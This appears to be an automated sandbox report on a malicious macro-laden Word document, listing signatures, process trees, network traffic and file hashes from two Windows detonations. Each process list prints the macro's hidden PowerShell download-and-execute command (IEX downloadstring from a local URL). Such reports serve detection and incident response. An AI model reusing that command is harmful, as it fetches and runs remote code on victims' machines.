Malware Analysis Report

2025-08-10 15:07

Sample ID 241103-zt5mzavelr
Target 9cc036b0879d125d24401d0a89743fe5ace701dd6e107ea700f4adddb0238315
SHA256 9cc036b0879d125d24401d0a89743fe5ace701dd6e107ea700f4adddb0238315
Tags
macro macro_on_action discovery execution
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

9cc036b0879d125d24401d0a89743fe5ace701dd6e107ea700f4adddb0238315

Threat Level: Known bad

The file 9cc036b0879d125d24401d0a89743fe5ace701dd6e107ea700f4adddb0238315 was found to be: Known bad.

Malicious Activity Summary

macro macro_on_action discovery execution

Process spawned unexpected child process

Suspicious Office macro

Command and Scripting Interpreter: PowerShell

Office macro that triggers on suspicious action

Drops file in Windows directory

System Location Discovery: System Language Discovery

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: AddClipboardFormatListener

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Checks processor information in registry

Enumerates system info in registry

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-03 21:01

Signatures

Office macro that triggers on suspicious action

macro macro_on_action
Description Indicator Process Target
N/A N/A N/A N/A

Suspicious Office macro

macro
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-03 21:01

Reported

2024-11-03 21:02

Platform

win7-20240903-en

Max time kernel

17s

Max time network

19s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\9cc036b0879d125d24401d0a89743fe5ace701dd6e107ea700f4adddb0238315.doc"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\Debug\WIA\wiatrace.log C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\9cc036b0879d125d24401d0a89743fe5ace701dd6e107ea700f4adddb0238315.doc"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -w hidden -noninteractive "IEX((new-object net.webclient).downloadstring('http://127.0.0.1:8000/arquivos/windows.txt'))"

C:\Windows\splwow64.exe

C:\Windows\splwow64.exe 12288

Network

Country Destination Domain Proto
N/A 127.0.0.1:8000 tcp

Files

memory/1076-0-0x000000002FEF1000-0x000000002FEF2000-memory.dmp

memory/1076-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/1076-2-0x000000007156D000-0x0000000071578000-memory.dmp

memory/1076-14-0x0000000005B20000-0x0000000005C20000-memory.dmp

memory/1076-13-0x0000000005B20000-0x0000000005C20000-memory.dmp

memory/3044-18-0x0000000002D50000-0x0000000002DA2000-memory.dmp

memory/1076-23-0x000000007156D000-0x0000000071578000-memory.dmp

memory/1076-24-0x0000000005B20000-0x0000000005C20000-memory.dmp

memory/1076-25-0x0000000005B20000-0x0000000005C20000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-03 21:01

Reported

2024-11-03 21:02

Platform

win10v2004-20241007-en

Max time kernel

48s

Max time network

38s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\9cc036b0879d125d24401d0a89743fe5ace701dd6e107ea700f4adddb0238315.doc" /o ""

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\9cc036b0879d125d24401d0a89743fe5ace701dd6e107ea700f4adddb0238315.doc" /o ""

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -w hidden -noninteractive "IEX((new-object net.webclient).downloadstring('http://127.0.0.1:8000/arquivos/windows.txt'))"

Network

Country Destination Domain Proto
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 14.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
IE 52.109.76.243:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 243.76.109.52.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 150.171.27.10:443 g.bing.com tcp
US 8.8.8.8:53 10.27.171.150.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 10.173.189.20.in-addr.arpa udp
N/A 127.0.0.1:8000 tcp
US 8.8.8.8:53 56.163.245.4.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 101.11.19.2.in-addr.arpa udp
US 8.8.8.8:53 metadata.templates.cdn.office.net udp
GB 2.18.27.153:443 metadata.templates.cdn.office.net tcp
US 8.8.8.8:53 binaries.templates.cdn.office.net udp
GB 2.20.12.74:443 binaries.templates.cdn.office.net tcp
GB 2.20.12.74:443 binaries.templates.cdn.office.net tcp
GB 2.20.12.74:443 binaries.templates.cdn.office.net tcp
GB 2.20.12.74:443 binaries.templates.cdn.office.net tcp
GB 2.20.12.74:443 binaries.templates.cdn.office.net tcp
GB 2.20.12.74:443 binaries.templates.cdn.office.net tcp
GB 2.20.12.74:443 binaries.templates.cdn.office.net tcp
GB 2.20.12.74:443 binaries.templates.cdn.office.net tcp
GB 2.20.12.74:443 binaries.templates.cdn.office.net tcp
GB 2.20.12.74:443 binaries.templates.cdn.office.net tcp
GB 2.20.12.74:443 binaries.templates.cdn.office.net tcp
GB 2.20.12.74:443 binaries.templates.cdn.office.net tcp
GB 2.20.12.74:443 binaries.templates.cdn.office.net tcp
US 8.8.8.8:53 153.27.18.2.in-addr.arpa udp
US 8.8.8.8:53 74.12.20.2.in-addr.arpa udp

Files

memory/2360-1-0x00007FFC718ED000-0x00007FFC718EE000-memory.dmp

memory/2360-0-0x00007FFC318D0000-0x00007FFC318E0000-memory.dmp

memory/2360-3-0x00007FFC318D0000-0x00007FFC318E0000-memory.dmp

memory/2360-4-0x00007FFC318D0000-0x00007FFC318E0000-memory.dmp

memory/2360-2-0x00007FFC318D0000-0x00007FFC318E0000-memory.dmp

memory/2360-7-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

memory/2360-6-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

memory/2360-5-0x00007FFC318D0000-0x00007FFC318E0000-memory.dmp

memory/2360-8-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

memory/2360-9-0x00007FFC2EF70000-0x00007FFC2EF80000-memory.dmp

memory/2360-12-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

memory/2360-13-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

memory/2360-11-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

memory/2360-14-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

memory/2360-16-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

memory/2360-18-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

memory/2360-19-0x00007FFC2EF70000-0x00007FFC2EF80000-memory.dmp

memory/2360-20-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

memory/2360-21-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

memory/2360-17-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

memory/2360-15-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

memory/2360-10-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

memory/2360-33-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

memory/2360-32-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dxeddbby.sjs.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4544-48-0x0000021265460000-0x0000021265482000-memory.dmp

memory/2360-51-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

memory/2360-52-0x00007FFC718ED000-0x00007FFC718EE000-memory.dmp

memory/2360-53-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

memory/2360-54-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

memory/2360-55-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

memory/2360-56-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

memory/2360-59-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

memory/2360-58-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

memory/2360-57-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

memory/2360-60-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

memory/2360-62-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

memory/2360-61-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

memory/2360-63-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

memory/2360-67-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

MD5 78c74641d9cf7c01e5603371f484d08e
SHA1 63a4848a44f09845d532fe233f10236111989c71
SHA256 41bfebc324f7ddad77f83d32e17da066d315a72babc5e3ece3333780350a133a
SHA512 94c854db9ac5831cb5f621ff2f7b539202896cce7ae6081579e641db1cf6809c054044a60484bb169be85874e9f35f68236a6ebb0a243cfea1c87a24d0cce30f

memory/2360-73-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\TCD3357.tmp\sist02.xsl

MD5 f883b260a8d67082ea895c14bf56dd56
SHA1 7954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA256 ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
SHA512 d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e